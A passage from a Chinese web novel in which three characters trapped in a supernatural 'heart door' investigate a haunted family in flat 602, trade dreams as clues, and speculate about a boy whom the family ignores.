她的眼神发生了某种奇异的变化,那双原本还算正常的眼睛里,瞳孔似乎在一瞬间变得漆黑深邃,像两个幽深的洞口,透不进一丝光亮。 她的表情也变得有些古怪,带着一种不属于孩童的、阴森森的神秘感。 她凑近了一些,声音压得更低,几乎如同耳语,一字一顿地对宿珩说: “我们家里……住着一只鬼。” 第28章 第 28 章 一家几口9 “鬼?” 肖靳言的目光下意识地, 又一次扫向客厅角落那面厚重的灰色窗帘。 就在大妮说出那个字的瞬间,窗帘的下摆似乎微不可察地颤动了一下。 那幅度极其轻微,轻得就像是夜晚窗户没关严实, 透进了一丝微不足道的风。 “鬼在哪儿?” 肖靳言假装什么都没发现,不着痕迹地收回视线,声音不高, 却带着一股探究的锐利。 “嘘——” 大妮猛地竖起食指抵在唇边,脸上那种诡异的神秘感越发浓重,“不能说!” 她顿了顿, 声音压得更低, 像是怕被什么东西听见。 “说了……会被憋死的!” 宿珩皱起眉, 追问道:“会被谁憋死?” 大妮没有直接回答,反而露出了一个奇怪的笑容。 “就是……这样啊。” 话音未落, 三个原本还算正常的小女孩,脸色毫无预兆地迅速变得铁青,像是瞬间被抽干了所有血色。 她们的眼睛猛地瞪圆,眼白上翻, 双手死死地掐住自己的脖子, 指节因为用力而泛白。 喉咙里发出“嗬嗬”的, 如同破旧风箱被强行拉扯的痛苦喘息声。 那副模样, 活像是下一秒就要因为无法呼吸而断气,与煤气中毒的濒死状态别无二致。 这突如其来的恐怖景象, 让离她们最近的张春和吓得魂飞魄散。 他“嗷”的一声怪叫,屁股下的椅子被他蹬得向后猛地滑开半米远, 差点摔倒。 他脸色瞬间惨白如纸,嘴唇剧烈哆嗦着,伸手指着三个女孩, 却被巨大的恐惧扼住,半天也挤不出一句完整的话。 相比之下,肖靳言和宿珩的反应堪称镇定。 两人都没有动,甚至连姿势都没变。 他们的目光锐利如刀,仔细观察着这诡异惊悚的一幕,眼神里带着冷静的审视和快速的分析。 这绝非简单的恶作剧,更像是一种刻意的……重演。 或者说,是一种饱含恶意的警告。 而就在三个女孩表演这令人毛骨悚然的一幕时,一直蹲在角落里默默敷脚的王秀珍,像是被什么东西狠狠刺中。 她猛地丢开手里的冰袋,双手痛苦地抱住了头,身体筛糠般剧烈颤抖起来。 “不是我……不是我……真的不是我……” 她语无伦次地喃喃自语,声音破碎,充满了无法排解的绝望和深入骨髓的恐惧。 下一秒,她像是再也无法承受这无形的酷刑,猛地从地上爬起来。 她甚至顾不上脚上的伤,踉踉跄跄地冲回了狭小的厨房。 “砰”的一声闷响,厨房门被她从里面死死关上,将自己彻底隔绝。 客厅里,三个女孩仿佛对母亲的崩溃和逃离视若无睹。 她们脸上那恐怖的铁青色和窒息的模样,如同潮水般迅速褪去,前后不过几秒钟,又恢复了先前那种带着点狡黠的平静,仿佛刚才那骇人的一幕从未发生。 大妮甚至还伸出舌头,舔了舔有些发干的嘴唇。 她的目光直勾勾地落回到宿珩他们三人面前那几乎没动过的汤碗上,喉咙不自觉地滚动了一下。 “汤要凉了,凉了就不好喝了。” 宿珩看也没看她,直接伸手将自己面前那碗散发着古怪气味的汤,推到了大妮面前。 张春和见状,也顾不上自己那如同擂鼓般狂跳的心脏,连忙有样学样,小心翼翼地端起自己的汤碗,双手有些发抖地放到了旁边一直眼巴巴看着的三娣面前。 桌上只剩下肖靳言面前那一碗。 二妞从刚才起就一句话没说过,此刻眼巴巴地望着肖靳言的汤碗,小脸上满是渴望。 肖靳言屈起手指,不轻不重地敲了敲粗瓷碗壁,发出清脆的“叩叩”声。 他看着二妞,脸上没什么多余的表情。 “想喝吗?” 二妞立刻用力点头,眼睛都亮了几分。 “那就先回答我一个问题。” 二妞闻言,脸上露出些许为难,她伸出小小的手指,指了指自己的喉咙,然后用力摇了摇头,示意自己无法说话。 “天生的?”肖靳言问。 没等二妞再做表示,旁边正端起宿珩那碗汤,埋头“呼噜呼噜”大口喝着的大妮,抬起头来。 她嘴里含混不清地说道:“……是被憋坏了,后来就不会说话了。” 肖靳言的眼神微不可察地闪烁了一下,似乎捕捉到了什么关键信息。 他没再追问,伸手将自己面前那碗汤推到了二妞面前。 二妞脸上立刻绽放出喜悦,迫不及待地端起碗,和两个姐妹一样,小口却飞快地喝了起来,喉咙发出满足的吞咽声。 三个女孩很快将各自碗里的汤喝了个精光。 她们甚至还学着老太婆和男人的样子,将碗口沾上的汤汁舔了个干干净净。 随后,她们熟练地将碗底剩下的一点混着骨头渣的汤底子,一股脑地倒进了各自剩下的小半碗米饭里。 她们用筷子随意地扒拉了两下,将那些“料”仔细地混进米饭中。 做完这一切,她们脸上露出了和中午时如出一辙,带着恶作剧得逞意味的笑容。 三姐妹满足地摸了摸自己略微鼓起的小肚子,对视一眼,然后跳下椅子,迈着轻快的小碎步,小跑着回到了她们之前待的那间卧室,关上了门。 客厅里又安静下来。 过了片刻,厨房的门被拉开,恢复正常的王秀珍面无表情地走了出来。 她脚上的红肿似乎消退了一些,但脸上的麻木和空洞却丝毫未减。 王秀珍走到桌边,开始沉默地收拾碗筷。 她收走了老太婆和男人的碗,收走了宿珩他们用过的空碗和水杯,甚至收走了被吃得干干净净的菜盘。 但唯独那三个女孩故意留下的,混着汤渣骨头的半碗米饭,她像是没看见一样,一动不动地留在了桌子上。 收拾完一切,王秀珍端着油腻的碗盘,再次默默走回厨房。 自始至终没有看任何人一眼,也没有再说一句话。 “该走了。” 肖靳言站起身,掸了掸身上并不存在的灰尘。 张春和如蒙大赦,几乎是立刻跟着站了起来,一秒钟都不想多待。 宿珩也站起身,跟在两人后面。 走到门口时,他下意识地落后了一步,握住门把手,动作慢了半拍。 他想看看,这一次,那个总是躲在窗帘后的小男孩,是否还会像中午那样,在他们离开的瞬间就迫不及待地冲出来。 然而,很奇怪。 直到宿珩缓缓将门拉上,彻底隔绝屋内的景象,那个瘦小的身影也没有出现。 窗帘后面静悄悄的,没有任何动静。 可就在门板合拢的下一秒—— 一阵急促的“哒哒哒”赤脚跑动声,透过厚重的门板,清晰地响了起来。 紧随其后的,是狼吞虎咽、食物被用力塞进嘴里的声音,以及很快传来的,被骨头卡住嗓子时,那种痛苦压抑的干呕声。 他出来了。 只是……没有在他们能看到的时候出来。 这一次,他似乎学聪明了,或者说,更加警惕了。 …… 三人退回楼道。 “走吧,回房。” 肖靳言的声音打破了楼道里的死寂,率先抬步走向603。 宿珩跟了上去。 张春和犹豫了一瞬,看看孤零零的601,最终还是咬咬牙,快步跟上了他们。 他现在是一点也不想自己一个人待着了。 回到603,狭窄的空间并没有让人感到丝毫放松。 肖靳言很自然地走到床边坐下,还特意往里挪了挪,给宿珩留出位置。 宿珩挨着他坐下,肩膀几乎要碰到一起。 张春和站在门口,看着那张只够一人勉强躺下的床板,再看看并肩而坐的两人,很识趣地没有挤过去。 他靠着门框,惊魂未定地拍着自己的胸口。 “我……我觉得我那个梦……肯定没错!” 张春和喘着粗气,语气带着劫后余生的肯定。 “那个小男孩……他绝对是鬼!不然……怎么会所有人都看不见他?那三个女孩那样欺负他,肯定也是因为他是鬼!” 他越说越觉得自己的推断无懈可击,脸上甚至因为激动而泛起一丝不正常的红晕。 “对!一定是这样!他就是害死那三个女孩的鬼,所以才会被姐姐们报复!” 宿珩却皱起了眉,他并没有被张春和这番看似合理的推论说服。 “有点奇怪。” 他看向肖靳言,又瞥了一眼激动不已的张春和。 “那三个女孩刚才的表现……更像是窒息,或者说像煤气中毒,相较而言,她们的样子才更像鬼。” 宿珩回想着之前在602闻到的那股极淡的煤气味,还有王秀珍崩溃时喊出的那句“不是我”。 “还有王秀珍的反应……她为什么会喊‘不是我’?” “那更像是……在否认某种指控,或者推卸某种责任。” 宿珩停顿了一下,继续分析:“按照最常规的推理来说,如果真的是王秀珍忘了关煤气,导致了三个女儿的惨状,那她的绝望和崩溃就说得通。” “但这又解释不了那个小男孩的存在……一个意外事故里,怎么会凭空多出一个被全家忽视,还被姐姐们针对的‘弟弟’?” 肖靳言一直沉默地听着,指尖无意识地在膝盖上轻轻敲击。 宿珩的分析很有道理,每一个疑点都切中要害。 但他心里那股隐隐的违和感始终挥之不去。 他更倾向于相信宿珩的梦境,不仅仅是因为宿珩那特殊的、容易与“心门”内核产生共鸣的体质。 更是因为宿珩梦里那个主动施虐的小男孩形象,似乎更能解释三个女孩那种超乎寻常的怨恨。 可偏偏,目前所有能观察到的线索,很大一部分都指向了张春和的结论—— 小男孩是恶鬼,姐姐们是复仇者。 “你忽略了一个细节。” 肖靳言忽然开口,他侧头看向宿珩,眼神深邃,“我们第一次在门外,听到那个老太婆是怎么骂王秀珍的?” 宿珩回忆了一下,很快想了起来。 肖靳言接着道:“老太婆骂的是‘当初我就说不该让你进门!现在好了吧?生不出儿子,还整天哭哭啼啼,晦气……真是晦气死人!’” 他一字一顿地重复着老太婆尖刻的咒骂,“注意,是‘生不出儿子’。” 张春和愣了一下,随即恍然大悟:“对啊!她是骂王秀珍生不出儿子!这说明……王秀珍根本就没有儿子?” “可能性很大。” 肖靳言继续补充:“老太婆重男轻女的态度那么明显,如果王秀珍真的生了儿子,就算再怎么不待见,也不至于还用‘生不出儿子’这种话来戳心窝子。” “而且……你看那三个女儿的名字——大妮,二妞,三娣。‘娣’这个字,本身就带着盼望弟弟的意思。这更佐证了,这个家庭里,一直没有男孩出生。” “那……” 张春和彻底糊涂了,他看看宿珩,又看看肖靳言,感觉自己的脑子完全不够用了。 “如果王秀珍根本没生过儿子,那我们看到的那个小男孩……到底是啥玩意儿?难道……难道真是她们家闹鬼,不知道从哪儿来的孤魂野鬼?” 宿珩的目光微微闪烁了一下,一个念头如同闪电般划过脑海。 “或者……有没有可能……” 他看向肖靳言,语气带着几分不确定,“这个男孩,根本就不是真实存在的?而是王秀珍因为极度渴望儿子,加上在这种家庭压迫下,精神濒临崩溃,自己臆想出来的?” 这个猜测一出,肖靳言眼中露出思索的光芒。 张春和张大了嘴:“臆想出来的?这……这也太……” “如果他是臆想出来的,就能解释为什么家里只有六副碗筷,为什么老太婆和那个男人完全无视他。” 宿珩顺着这个思路继续往下推理。 “甚至……王秀珍自己,可能也在有意识或无意识地‘扮演’着看不见他。” “但她的潜意识里,却知道这个‘儿子’的存在,所以才会每次都默许女儿们把吃剩的饭菜留下……那是留给她臆想中的‘儿子’吃的。” 这个解释似乎严丝合缝,将大部分矛盾点都串联了起来。 张春和听得连连点头,觉得这个说法比“孤魂野鬼”靠谱多了。 “但还是有疑点。” 肖靳言及时泼了盆冷水,他摩挲着粗粝的指腹。 “如果这个男孩是王秀珍极度渴望下的产物,是她的精神寄托,那她为什么会对女儿们欺负他的行为视若无睹?” “甚至可以说是纵容。” “按理说,她应该把这个‘儿子’当成眼珠子一样护着才对。” 肖靳言的目光扫过宿珩和张春和,将两个看似矛盾的梦境联系起来。 “除非……这个‘儿子’,或者说,王秀珍对这个‘儿子’的情感,本身就是扭曲的。结合你们两个的梦——” “一个梦里,姐姐们报复弟弟,说‘这是他应得的’;另一个梦里,弟弟拿着发卡,逼迫姐姐们像牲口一样爬行。” 他语气笃定了几分:“很有可能,是这个臆想出来的‘男孩’,或者说,代表着某种执念的他,先做了对不起三个姐姐的事情。” “所以,姐姐们的欺凌,才会被王秀珍默许,甚至被她们自己认为是‘理所应当’的报复。” 张春和被这峰回路转的分析绕得有点晕,但他努力跟着思考,终于慢慢捋清了思路。 “你的意思是……我梦到的,三个女孩欺负小男孩,很可能是在报复?报复他在……在宿珩梦里做的那种……欺负她们的事情?” “或许还有更严重的事情,但……思路大概没问题。” 肖靳言靠回墙上。 “一个代表了施虐与恶意的‘因’,一个代表了怨恨与报复的‘果’。” “这两个梦,可能都是这个‘心门’试图展现给我们的,关于这个家庭悲剧的不同侧面。” 宿珩沉默了。 如果肖靳言的推测是对的,那这个家庭的悲剧,远比表面看上去更加复杂和黑暗。 王秀珍的绝望。 不仅仅是因为生不出儿子被嫌弃,也不仅仅是对女儿们遭遇意外的愧疚,更可能掺杂着对那个“臆想中的儿子”所作所为的某种……默认,甚至是……病态的放纵? 但“臆想中的儿子”,是怎么伤害到的三个女儿呢? 三个女儿又是怎么知道“臆想中的弟弟”的存在? 线索不够,这一切还是说不通…… 不管怎么说,这扇“心门”的扭曲程度,似乎超出了他们最初的预料。 只是这“心门”的主人……到底会是谁? 房间里再次安静下来,只剩下张春和略显沉重的呼吸声。 张春和看看一脸平静的宿珩,又看看旁边那个眼神深邃,似乎永远成竹在胸的肖靳言,心里稍微安定了一些。 虽然还是很害怕,但至少……这两个人看起来很可靠。 只要紧紧跟着他们,应该……能活着出去吧? 第29章 第 29 章 一家几口10 时间一点点流逝。 窗外早已是浓稠的黑夜, 楼道里静得可怕。 张春和背靠着冰凉的门框,眼皮重得像灌了铅,却僵硬地杵在那里, 一步也不敢挪动。 回601睡觉? 他光是想想就头皮发麻。 他强撑着困意,时不时紧张地瞥一眼房门的方向,生怕外面突然冒出点什么东西。 肖靳言像是看穿了他的心思, 懒洋洋地开口:“一直杵在这儿也不是办法。” 张春和打了个激灵,连忙道:“我……我不敢一个人回去……” “不敢也得回去。” 肖靳言的语调没什么起伏,却带着一种不容置疑的份量。 “我们的身份是602左右的邻居, 601是你的房间, 一直待在这里, 只会错过可能出现的线索。” 他顿了顿,意有所指地补充:“说不定, 那三个小丫头晚上还会给你托个梦什么的……” 托梦? 张春和一想到梦里那三个女孩诡异的样子,脸色“唰”地一下白了。 可转念一想,肖靳言的话又似乎很有道理。 这个鬼地方处处透着邪门,每个房间的存在, 大概都有它的意义。 万一线索真的出现在601, 他因为害怕而错过了, 那可就太耽误事了。 正如肖靳言所说, 他一直赖在这里,确实是白费功夫。 内心的恐惧和求生的本能激烈交战了好一会儿。 最终还是求生的本能战胜了恐惧。 “那……好吧。” 张春和站直身体, 腿脚都有些发麻,“我……这就回去。” 他声音还有些发虚, 特意强调了一声:“要是有什么不对劲,我……我就大声喊!” “嗯。” 肖靳言随意地应了一声。 张春和一步三回头,心惊胆战地拉开603的门, 又飞快地冲回对面的601,反手就把门锁了个严严实实。 门关上的瞬间,603房间里彻底安静下来,只剩下宿珩和肖靳言两人。 宿珩侧头,狐疑的目光落在肖靳言脸上。 “你真是那么想的?” 他指的是刚才劝张春和回去的说辞。 肖靳言摸了摸下巴,“一半一半吧。” “还有一半呢?”宿珩追问。 肖靳言的视线扫过那张窄小的床板,嘴角微翘,语气变得有些微妙。 “我个人不太喜欢睡觉的时候,旁边还杵着个第三者。” “……” 宿珩对“第三者”这个用词感到一阵无语。 他低头看了看那张宽度实在有限的床板,还是坚持自己最初的意见。 “你打地铺。” “那不行。” 肖靳言想都没想就否定了。 他伸出长臂,随意地比划了一下床板的宽度,然后十分干脆利落地直接躺了上去,高大的身躯瞬间占据了大半个位置。 “挤挤还是可以的。” 他甚至还往里挪了挪,拍了拍身旁仅剩的那一小条空位,眼神示意宿珩也躺下。 宿珩懒得理会他这近乎无赖的行为。 下午在肖靳言腿上意外睡着的那一觉虽然短暂,却也驱散了不少困意,他现在并不怎么想睡。 他没躺下,反而往墙边挪了挪,让肖靳言把长腿稍微缩回去一点,自己则抱着胳膊,靠着冰冷的墙壁坐了下来。 房间里只开着一盏瓦数很低的白炽灯,光线昏黄,勉强视物。 肖靳言弓着腰侧躺着,枕着自己的手臂,正好面对着宿珩的方向。 他看着宿珩在昏暗光影下的侧脸。 轮廓分明,鼻梁挺直,微抿的嘴唇透着一股拒人千里的冷淡。 偏偏那双眼睛,即使此刻只是安静地垂着,也带着一种难以言喻的,混合了阴郁与某种脆弱感的特殊气质。 确实很漂亮,漂亮得有些……勾人。 肖靳言不由得多看了一会儿。 宿珩似乎察觉到了这道过于专注的视线,眼睫微动,偏头看了过来。 四目相对的瞬间。 肖靳言的反应快得惊人,几乎在宿珩目光扫过来的刹那,就立刻闭上了眼睛,呼吸也跟着变得平稳而悠长。 那样子,仿佛他早就已经熟睡多时了。 宿珩:“……” 他默默收回目光,没再理会旁边这个演技浮夸的家伙。 时间在寂静中悄无声息地流淌。 狭小的空间里,只有肖靳言刻意放缓的呼吸声,以及偶尔从隔壁602隐约传来的,几声细微的、不知是什么东西发出的古怪异响。 不知过了多久,一阵倦意终于缓慢地袭来。 宿珩轻轻打了个哈欠,但没有躺下,似乎潜意识里还是对和别人同床这件事有些抗拒。 他只是稍微调整了一下坐姿,将头更深地靠在冰冷的墙面上,抱着胳膊,就这么坐着,意识渐渐沉了下去。 这一次,他又做了一个梦。 梦境的场景变化了。 不再是阴冷的楼道,而是白天他们待过的,那个压抑的602客厅。 客厅里站满了人。 刻薄的老太婆双手叉腰,唾沫横飞地指着王秀珍的鼻子破口大骂,翻来覆去还是那几句“丧门星”、“赔钱货”、“不争气”。 懦弱的男人缩在一旁,低着头,手指紧张地抠着裤缝,大气不敢喘。 三个女儿也像木桩子一样站在旁边,脸上没什么表情,只是眼神空洞地看着地面。 而王秀珍,她站在客厅中央,脸色苍白得像纸,身体微微发抖。 她没有反驳,也没有像白天那样麻木,而是双手痛苦地捂住了脸,肩膀剧烈地耸动着。 压抑的、带着绝望的哭泣声,断断续续地从她的指缝间溢出来,在死寂的客厅里显得格外清晰。 “不是的……妈……我真的不是故意的……” 王秀珍的声音破碎,带着浓重的鼻音和无法排解的痛苦,她一边哭,一边徒劳地试图辩解。 “我明明……明明已经很小心了……我真的……” 后面的话被更汹涌的哭泣吞没。 宿珩站在梦境的边缘,像一个无法介入的透明旁观者,清晰地看着这一幕。 他的眉头下意识地紧紧拧了起来。 王秀珍在哭诉……她已经很小心了? 小心什么? 这个梦,似乎和之前两个关于孩子们的梦境截然不同,它指向了另一个方向…… 一个关于王秀珍本人,关于她内心更深层次痛苦与绝望的源头。 …… 宿珩醒来时。 首先感觉到的是身下还算平整的触感,以及身上多出来的重量和淡淡的烟草味。 他倏地睁眼,映入眼帘的是一片灰暗低矮的天花板。 意识回笼,宿珩才发现自己不知何时竟然躺在了那张狭窄的床板上,身上还盖着一件眼熟的黑色冲锋衣外套。 外套带着肖靳言身上的味道和一丝残留的体温,很清晰。 宿珩怔了怔,随即猛地坐起身,一把掀开了外套。 房间里空荡荡的,只有他一个人,肖靳言不知去了哪里。 他怎么会睡在床上? 宿珩皱了皱眉,昨晚的记忆有些模糊,他只记得自己靠着墙坐着,后来……好像是睡着了。 难道是肖靳言把他弄到床上来的? 宿珩捏了捏眉心,迅速压下那点不自在,将外套抓在手里,起身下床。 刚打开603的房门,一股浓烈的油烟焦糊味就扑面而来,源头直指旁边的602。 这意味着——天已经亮了。 他竟睡了这么久? 宿珩握紧手里的外套,没有走向602,反而脚步一转,朝旁边的601走去。 601的房门虚掩着,里面传来肖靳言略显无奈的声音,似乎在叫着谁的名字。 宿珩推门而入。 肖靳言果然在里面,正站在床边,微俯着身,看着床上毫无动静的张春和。 “醒醒,张春和?” 肖靳言伸手拍了拍对方的脸颊,但床上的人依旧双眼紧闭,毫无反应。 见宿珩进来,肖靳言直起身,耸了耸肩,表情有些微妙。 “刚听到这边好像有动静,就过来看看。” 他指了指床上的张春和,“结果发现他这样了,像是魇着了,怎么叫都没反应。” 宿斤走近几步,目光落在张春和脸上。 只见他双眼紧闭,眉头紧紧蹙在一起,脸色惨白得没有一丝血色,额头上布满了细密的冷汗,嘴唇也呈现出一种不正常的青白。 似乎在梦中经历着极大的恐惧和痛苦,身体还在微微发抖。 情况看起来确实不太好。 宿珩没多问,把手里的冲锋衣外套丢回给肖靳言。“你的。” 肖靳言顺手接过,叠了叠搭在手臂上。 宿珩转身就往外走,直接来到602门口,抬手叩响了房门。 “谁啊?” 里面传来小女孩警惕的声音。 门被拉开一条窄缝,露出大妮那张没什么表情的小脸。 她看到是宿珩,似乎怔了一下,但还是把门打开了些。 宿珩目光快速扫过屋内,没见到老太婆和那个懦弱的男人。 “你奶奶和爸爸呢?” “去……去外面买菜了。” 大妮低下头,小声回答,手指无意识地绞着衣角。 宿珩的视线越过她,看到王秀珍如同木偶般的身影正在狭小的厨房里忙碌,空气里那股焦糊味更浓了。 “辛苦倒一杯温水给我。” 大妮抬头看着他,站在原地没动,怯生生的脸上写着明显的不情愿。 宿珩也不废话,直接从裤兜里摸出一枚硬币,递到她面前。 看到硬币,大妮的眼睛瞬间亮了起来,脸上那点不情愿立刻被贪婪的喜悦取代。 她一把抢过硬币,紧紧攥在手心,转身就兴高采烈地跑进了厨房。 很快,她端着一个豁了口的粗瓷大碗出来,里面装了满满一碗温水,水面几乎要晃出来。 宿珩接过碗,没再看她,转身快步回到601。 肖靳言看他端着水回来,往旁边让了让。 宿珩走到床边,先是将碗沿倾斜,小心地倒了些温水在自己指尖上,然后轻轻拍打着张春和那张冰凉汗湿的脸颊。 或许是温水的触感起了作用,张春和紧蹙的眉头猛地一松,喉咙里发出一声压抑的呜咽,眼睫剧烈颤动几下,终于艰难地睁开了眼睛。 他的眼神先是空洞茫然,随即迅速被无边的恐惧填满,整个人像溺水者抓住浮木般猛地坐起身,胸膛剧烈起伏,大口大口地喘着粗气。 “水。” 宿珩将手里还剩大半碗的水递到他面前。 张春和愣愣地看着那只粗瓷碗,又茫然地看看宿珩,再看看旁边好整以暇的肖靳言,似乎还未完全从可怖的梦魇中挣脱。 他颤抖着手接过碗,仰头就“咕咚咕咚”地将剩下的水一口气喝了个精光。 温水下肚,似乎驱散了些许浸入骨髓的寒意,他剧烈跳动的心脏稍微平复了些,但脸色依旧惨白得吓人。 “我……我……” 张春和放下碗,惊魂未定地捂着胸口,声音抖得不成调,“我……我差点……差点就回不来了……” 肖靳言看着他这副魂不守舍的样子,问道:“这次做什么噩梦了?” 张春和用力深吸了好几口气,试图让自己冷静下来,但身体的颤抖却无法抑制。 “我……我昨晚回来,强撑着不敢睡……可后来实在熬不住了,就……”他脸上露出极度的恐惧,“就睡过去了……” “然后……我就梦到……梦到自己好像被关在一个很黑很小的盒子里,什么都看不见,特别闷……” 他语无伦次地比划着。 “外面……有声音,乱七八糟的,好像……好像有那个老太婆骂人的声音,还有那个男人的声音,还有……那三个小女孩……她们在叫……” “我在里面拼命摸,想找个出口,可怎么也找不到……四面八方都是硬邦邦的,冷冰冰的……” 张春和的声音带着后怕,“然后……就在我快要绝望的时候,我在一个角落里……摸到了一只手……” 他说到这里,身体猛地抖了一下,眼神里充满了无法言喻的惊恐。 “那只手……冰得像刚从冰窖里拿出来一样,一点活人的温度都没有……小小的……绝对是个小孩的手!” “我当时吓坏了,就想把手甩开,可是……可是那只手……它死死地抓住了我的手腕!力气特别大!我怎么挣都挣不开!” 张春和激动地挥舞着手臂,仿佛那只冰冷的手还缠着他。 “它就那么抓着我,一直抓着……我感觉自己快要被它拖进更黑的地方去了……” 他说着,像是要确认什么,下意识地抬起了自己的右手手腕。 宿珩和肖靳言的目光同时落了上去。 只见张春和右手腕内侧,皮肤苍白的地方,赫然印着一圈清晰的、微微发紫发乌的痕迹。 那痕迹的形状,分明是几道小而深的指印,边缘甚至微微凹陷,像是被一只小孩子的手用尽全力死命掐过之后,森*晚*整*理留下的触目惊心的淤青。 张春和自己也看到了那块乌青,他难以置信地瞪大了眼睛,伸手去摸,触碰到时甚至还带着一丝隐隐的痛感。 “这……这……” 他彻底傻眼了,嘴唇哆嗦着,大脑一片空白,半天说不出一句完整的话。 梦境里的触感,冰冷的禁锢,拼命的挣扎……都还如此鲜明地烙印在感知里。 而现在,他的手腕上又凭空多出了这样一块不容置疑的,带着痛楚的实体掐痕…… 这到底……还是梦吗? 狭小的房间里一时间安静得可怕,只有张春和粗重而惊恐的喘息声。 肖靳言看着那块乌青,眼神沉了沉,若有所思。 宿珩的眉头也紧紧皱了起来。 他想起了自己做的那个梦,梦里王秀珍痛苦的哭诉和辩解,还有张春和现在这个诡异的,甚至能留下实体伤害的噩梦。 这两者有什么关联? 第30章 第 30 章 一家几口11 “这……这手印……是那个小男孩留下的?!” 张春和猛地抬头, 声音因恐惧而变调,脸色惨白地吐出这个猜测。 一个被全家忽视,甚至可能根本不存在的男孩, 竟然能在梦里抓住他,还留下了如此清晰、带着痛感的实体瘀痕? 宿珩眉头紧锁,视线在那圈乌紫的指印上停留了几秒。 张春和这个诡异的噩梦, 和他自己梦中王秀珍那绝望的哭诉辩解,似乎指向了完全不同的方向,却又诡异地缠绕在一起。 正思忖间, 601旁边的楼梯间突然响起了脚步声, 沉重而拖沓, 还伴随着塑料袋摩擦的窸窣声。 是那个老太婆和男人,他们买菜回来了。 几秒后, 楼梯口果然出现了两人的身影。 老太婆拎着一个干瘪的菜篮子,男人则提着几个装着零散蔬菜和一小块颜色暗沉、看不出品种肉类的塑料袋。 看到601的房门大敞着,宿珩和肖靳言都站在里面,老太婆那双浑浊的眼睛立刻投来狐疑的目光, 朝里面探头探脑地打量了一圈。 “早饭快好了, 赶紧过来吃, 磨磨蹭蹭的, 晚了就没了!” 她没多问,只不耐烦地扔下一句, 便径直走向602,男人也低着头跟了进去。 “砰”的一声, 602的门关上。 “我也做了个梦。” 宿珩收回视线,看向肖靳言和惊魂未定的张春和。 他简短地复述了梦中王秀珍捂着脸哭泣,断断续续辩解的场景。 “她的话很奇怪。” “似乎在为某个严重的后果辩解, 但又不是直接承认。” 肖靳言思索着,“煤气的事?” 宿珩摇了摇头,“感觉……不太一样。” 但具体哪里不一样,他暂时说不上来。 宿珩看向肖靳言。 “看来你之前的猜测没错,601和603这两个房间,还有我们在里面做的梦,确实是获取线索的关键途径,只是这些线索指向并不统一。” 两个关于孩子间矛盾冲突的梦,一个关于母亲痛苦辩解的梦,现在又加上一个能造成实体伤害的噩梦。 线索越来越多,指向却越来越混乱模糊。 梦境之间的对应关系和指向性,还未能完全理清。 “先别想了。” 肖靳言伸手,不轻不重地拍了拍宿珩的肩膀,示意他放松些。 他又看了一眼还陷在恐惧中的张春和,“天大地大,吃饭最大。走,先去填饱肚子再说。” 他率先转身,朝602走去。 宿珩看了眼神情恍惚的张春和,没再多说,也跟了上去。 张春和犹豫了一下,想到独自待在这间留下恐怖记忆的601可能更糟,赶紧从床上爬起来,也顾不上腿软,跌跌撞撞地跟了过去。 这次是男人开的门。 他看到三人,眼神闪躲了一下,没说什么,只默默侧过身,让他们进去。 屋内的景象一如既往地压抑。 老太婆已经坐在桌边,三个女孩也围坐着,正小口小口地吃着早饭。 桌上摆着一叠看起来像是玉米面做的饼,边缘和中心都有大片的焦黑,散发着浓重的糊味。 旁边还有一锅黄澄澄的粥,质地异常粘稠,像是熬了很久的小米粥,但颜色又有些过于鲜亮,不太自然。 经历了昨晚那个恐怖的梦,又刚灌了一大碗温水,张春和现在胃里一阵翻江倒海,别说吃了,光是闻着那股焦糊味就有些反胃。 他现在只想赶紧解决一下生理问题。 “那个……大妈。” 张春和小心翼翼地看向老太婆,脸上挤出一个比哭还难看的笑容,“我……能借用一下你家厕所吗?” 老太婆刚把一块焦黑的饼塞进嘴里,闻言抬起耷拉的眼皮,狠狠瞪了他一眼,腮帮子鼓动着,含糊不清地骂道: “又要浪费我家的水!脏了还得我老婆子费劲收拾!想用就拿钱来,五块一次!” 张春和的脸瞬间垮了下来,笑容僵在脸上。 他浑身上下别说五块钱,连五毛钱硬币都掏不出来,只能求助地看向已经走到桌边,从容坐下的肖靳言。 肖靳言连眼皮都没抬,他慢条斯理地拿起一个还算完整的饼,吹了吹上面的黑灰。 这才不紧不慢地对老太婆说:“我看您这早饭做的挺用心,就是量少了点,我们三个大男人,怕是不够吃。” 老太婆一愣,没明白他葫芦里卖的什么药,狐疑地看着他。 肖靳言掰了一小块饼放进嘴里,象征性地嚼了两下,似乎在品味。 然后继续道:“这样吧,你要是同意让他先去上个厕所,我们后面订餐的价格,再加点。从第四天起,一天一百五不够,咱们就算一天两百,怎么样?” 一天两百? 老太婆的眼睛瞬间瞪得溜圆,嘴巴微张,心里的算盘打得噼啪作响。 一天两百……这可是一大笔钱! 上个厕所才多大点事儿? 别说一次,就算把厕所包给他们用都行啊! “行行行!去吧去吧!” 老太婆脸上的褶子都笑开了花,立刻换上一副和蔼可亲的面孔,连连摆手,态度一百八十度大转弯。 “多大点事儿……邻里邻居的,互相帮衬是应该的!快去吧,可别憋坏了身子!” 宿珩瞥了肖靳言一眼。 这家伙,空手套白狼的本事倒是活学活用得挺快。 肖靳言回了个“向你学习”的眼神。 张春和感激地看了肖靳言一眼,也顾不上多想,捂着肚子就急匆匆地往厕所跑去。 厕所就在王秀珍那间卧室的隔壁,空间极其狭小,只放着一个老旧款式的抽水马桶,泛黄的水箱上积着厚厚的灰尘,墙角布满了黑绿色的霉斑,散发着一股潮湿腐败的气味。 张春和反手将厕所门带上,但没敢锁死,只虚掩着留了条缝。 他现在是惊弓之鸟,生怕在这逼仄的空间里又遇到什么诡异的事情。 他一边解决内急,一边紧张地环顾四周,检查着每一个角落,马桶后面、洗手池下面、甚至头顶那盏昏暗的灯泡…… 然而,他什么异常都没有发现。 他不知道的是—— 就在他身后那扇被虚掩着的,斑驳掉漆的木门后面,一个瘦小的身影正无声无息地蜷缩着身子,像壁虎一样,一动不动地贴着冰凉的门板站立。 那个总是躲在窗帘后的小男孩,不知何时出现在了这里。 此刻,他那双黑漆漆的,不带任何情绪的眼睛,正透过门缝,一眨不眨地,紧紧盯着厕所里张春和毫无所觉的背影。 …… 张春和脚步虚浮地从厕所里出来,额角还挂着未干的冷汗,后背的衣料似乎还黏着一层阴冷的湿气。 他心有余悸,离开前下意识往厕所门的方向瞥了一眼。 门板安静地闭合着,粗糙的木纹在昏暗光线下显得格外陈旧,仿佛什么也未曾发生。 张春和这才稍稍松了口气,拖着步子,挪到桌边拉开椅子坐下。 肖靳言和宿珩显然对桌上的食物同样缺乏兴致。 两人都没碰那锅诡异的粥,只各自拿起一块焦糊程度稍轻的饼,如同嚼蜡般,不紧不慢地啃着。 